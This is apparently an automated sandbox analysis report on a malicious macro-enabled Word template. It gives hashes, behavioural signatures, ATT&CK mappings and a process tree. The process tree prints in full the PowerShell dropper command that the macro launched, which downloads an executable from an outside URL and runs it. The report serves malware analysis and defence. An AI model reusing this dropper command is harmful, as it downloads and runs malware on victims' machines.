ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
117s
max time network
129s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
16-11-2024 12:42

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General

Target

2020-01-01_162556.dotm
Size

21KB
MD5

ae3d8d88bd51083ed45622c125dddeed
SHA1

8a04d0cbde8ae822a1f7179cb8669441534f4ada
SHA256

fbc515049263135d70c68e58c634fce00d0e73a1f085d5fd30de1b29876a8784
SHA512

9c41fa0b3e99fcc0b40c069193ee0f3d6aa6ce0253ecb17cb5afd303058fd351a6fc3e1fa21d4c489cfc9668dbbf2330620f5b16432e57a229714f883511ddca
SSDEEP

384:3eK8Imh5a70iPlvREJoERXZmHRmhcgOm42GG6F7//o4MA4ENci1XIb:uKpC6pRal+x25A44ccX2

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bhraman.org/exe/wenL.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2712	2644	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2712 powershell.exe
6 2712 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2712 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE

flow	pid	process
5	2712	powershell.exe
6	2712	powershell.exe

pid	process
2712	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

WINWORD.EXEpowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2644 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2712 powershell.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

WINWORD.EXE

pid process

2644 WINWORD.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2712 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2644 WINWORD.EXE
2644 WINWORD.EXE

pid	process
2644	WINWORD.EXE

pid	process
2712	powershell.exe

pid	process
2644	WINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	2712	powershell.exe

pid	process
2644	WINWORD.EXE
2644	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2644 wrote to memory of 2712	2644	WINWORD.EXE	powershell.exe
PID 2644 wrote to memory of 2712	2644	WINWORD.EXE	powershell.exe
PID 2644 wrote to memory of 2712	2644	WINWORD.EXE	powershell.exe
PID 2644 wrote to memory of 2712	2644	WINWORD.EXE	powershell.exe
PID 2644 wrote to memory of 2276	2644	WINWORD.EXE	splwow64.exe
PID 2644 wrote to memory of 2276	2644	WINWORD.EXE	splwow64.exe
PID 2644 wrote to memory of 2276	2644	WINWORD.EXE	splwow64.exe
PID 2644 wrote to memory of 2276	2644	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-01_162556.dotm"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $client = new-object System.Net.WebClient;$a = 'https://bhraman.org/exe/wenL.exe'.Split(',');$huas = $env:temp + '\ygzaxaho.exe';foreach($b in $a){try{$client.DownloadFile($b.ToString(), $huas);Invoke-Item($huas);break;}catch{write-host $_.Exception.Message}};
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2712
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2276

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/2644-0-0x000000002F9A1000-0x000000002F9A2000-memory.dmp

Filesize
4KB

Download
memory/2644-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2644-2-0x0000000071A0D000-0x0000000071A18000-memory.dmp

Filesize
44KB

Download
memory/2644-9-0x0000000006440000-0x0000000006540000-memory.dmp

Filesize
1024KB

Download
memory/2644-8-0x0000000006440000-0x0000000006540000-memory.dmp

Filesize
1024KB

Download
memory/2644-14-0x0000000006440000-0x0000000006540000-memory.dmp

Filesize
1024KB

Download
memory/2644-34-0x0000000006440000-0x0000000006540000-memory.dmp

Filesize
1024KB

Download
memory/2644-33-0x0000000071A0D000-0x0000000071A18000-memory.dmp

Filesize
44KB

Download
memory/2644-35-0x0000000006440000-0x0000000006540000-memory.dmp

Filesize
1024KB

Download